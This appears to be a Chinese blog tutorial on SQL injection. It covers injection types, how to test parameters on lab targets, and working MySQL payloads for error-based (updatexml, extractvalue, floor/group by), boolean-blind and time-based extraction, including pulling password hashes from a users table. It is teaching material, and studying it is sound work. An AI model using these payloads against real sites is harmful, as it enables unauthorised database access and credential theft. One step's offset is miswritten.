0x01 SQL注入漏洞的分类
根据不同的标准,SQL注入漏洞可以有不同的分类。
根据数字类型分类,SQL注入分为两大基本类型。
数字型拼接到SQL语句中的参数,是以数字出现的,即引号两边没有单双引号。
字符型拼接到SQL语句中的参数,是以文本出现的,即引号两边有单双引号。
注入手法
- 联合查询(Union Query SQL Injection)
- 报错注⼊(Error-Based SQL Injection)
- 布尔盲注(Boolean-based Blind SQL Injection)
- 延时注⼊(Time-based Blink SQL Injection)
- 堆叠查询(Stacked Queries SQL Injection)
由于联合查询已经在之前发布过详细的相关介绍,在这里不做过多叙述,可以看看我的其他博客。
提交参数的方式
- GET 注入
- POST 注入
- Cookie 注入
- HTTP 注入
- …
注入点的位置
- URL 注入
- 搜索框注入
- 留言板注入
- 登录框注入
- …
0x02 注入点的判断
在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL注入漏洞。
回显
- 数据库中的内容是否会回现在网页中
数据库报错
- 数据库报错信息是否会回显在⽹⻚中
- 提交的数据是字符型还是数字型
- 如果是字符型数据,闭合⽅式是什么?
布尔类型的状态
- 显示的⻚⾯不同,形成对⽐
- ⻚⾯正常或者不正常
延时
- 让数据库沉睡响应的秒数
注入点判断-实例一
-
http://192.168.16.109/cms/show.php?id=33
-
http://192.168.16.109/cms/show.php?id=32
-
http://192.168.16.109/cms/show.php?id=34
#有回显,数据库中的内容会显示在⽹⻚中 -
http://192.168.16.109/cms/show.php?id=33’
#出现数据库报错,syntax to use near ’ ’ ’ at line 1
#数字型注入 -
?id=34 and 1=1
-
?id=34 and 1=2
#有布尔类型状态 -
?id=34 and sleep(5)
#有延时
注入点判断-实例二
-
http://192.168.16.109/sali-labs-master/less-1/?id=1
-
http://192.168.16.109/sali-labs-master/less-1/?id=2
#有回显 -
http://192.168.16.109/sali-labs-master/less-1/?id=1’
#出现数据库报错,syntax to use near ’ ’ 1’ ’ ’ LIMIT 0,1 at line 1
#字符型注入
#闭合方式[ ’ ] -
?id=1’ and 1=1–+
-
?id=1’ and 1=2–+
#有布尔类型 -
?id=1’ and sleep(5) --+
#有延时
0x03 SQL基本注入手法
报错注入
group by 重复键冲突
- ?id=22 and (select 1 from (select count(* ) , concat(0x5e, (select database( )),0x5e, floor(rand()*2))x from information_ schema. tables group by x)a)
- ?id=22 and (select 1 from (select count(* ) , concat(0x5e, (select password from cms_users limit 0,1),0x5e, floor(rand()*2))x from information_ schema. tables group by x)a)
extractvalue
- ?id=2 and extractvalue(1,concat(0x5e,(select database()),0x5e))
#select database() 查询的内容可以根据自己的情况改变
updatexml
- ?id=2 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
- ?id=2 and updatexml(1,concat(0x5e,(select substr(password,1,16) from
cms_users),0x5e),1) - ?id=2 and updatexml(1,concat(0x5e,(select substr(password,17,32) from
cms_users),0x5e),1)
布尔盲注
页面中有布尔类型状态,可以根据布尔类型状态对数据库内容进行判断.
数据库名爆破
- ?id=33 and database()=‘xxx’
#不知道数据库名有多少位
#不知道数据库名的字符集合
#爆破成本很⾼
数据库名称的长度
- ?id=33 and length (database())=3
#⻚⾯正常,说明数据库名字的⻓度是3
按位测试
- #第一位
- ?id=33 and ascii(substr(database(),1,1))=99
- #99
- #c
- #第二位
- ?id=33 and ascii(substr(database(),2,1))=109
- #99 109
- #c m
- #第三位
- ?id=33 and ascii(substr(database(),2,1))=115
- #99 109 115
- #c m s
- 爆破出数据库的名称是 cms
延时注入
利用sleep()语句的延时性,以时间线作为判断条件,和布尔类型的注入一样属于盲注
数据库名字的长度
- ?id=2’ and if(length(database())=8,sleep(5),1) --+
#页面有延时,说明猜对了
数据库名字
- ?id=2’ and if(ascii(substr(database(),3,1))=99,sleep(5),1) --+
- #115 101 99
- #s e c
以上四种基本注入手法只有联合查询和报错注入可以较快地从数据库中查出目标数据,而盲注的成本较高,在这里就必须要提到了SQL注入的神器 sqlmap,在后面我会写到关于sqlmap的原理和具体的用法,请大家关注我哦! -_-